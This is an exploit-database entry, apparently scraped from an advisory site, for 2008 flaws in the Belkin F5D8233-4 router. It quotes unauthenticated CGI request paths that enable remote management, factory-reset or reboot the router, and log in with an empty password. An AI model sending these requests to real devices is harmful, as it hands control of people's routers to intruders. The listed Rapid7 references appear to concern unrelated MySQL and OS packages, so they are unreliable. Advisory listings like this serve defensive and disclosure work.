header-logo
Suggest Exploit
vendor:
F5D8233-4 Wireless N Router
by:
SecurityFocus
8.8
CVSS
HIGH
Lack of Authentication
287
CWE
Product Name: F5D8233-4 Wireless N Router
Affected Version From: Belkin F5D8233-4
Affected Version To: Belkin F5D8233-4
Patch Exists: YES
Related CWE: CVE-2008-4456
CPE: o:belkin:f5d8233-4_wireless_n_router
Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2009-1289/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0110/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2009-1461/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2008-4456/, https://www.rapid7.com/db/vulnerabilities/apple-osx-mysql-cve-2008-4456/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2008-4456/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2008-4456/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2008

Belkin F5D8233-4 Wireless N Router Multiple Vulnerabilities

Attackers can exploit the lack of authentication when users access specific administration scripts in Belkin F5D8233-4 Wireless N Router to perform administrative functions without authorization. Attackers can enable remote management on port 8080, restore the router's default factory settings, reboot the router, and log in with the default password.

Mitigation:

Users should ensure that authentication is enabled for all administrative functions.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/32275/info

The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts.

Attackers can exploit these issues to perform administrative functions without authorization.

Belkin F5D8233-4 is vulnerable; other devices may also be affected. 

Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080
Restore the router's default factory settings: /cgi-bin/restore.exe
Reboot the router: /cgi-bin/restart.exe
Log in with the default password": /cgi-bin/login.exe?pws=

Navigation

Suggest Exploit

Services By CQR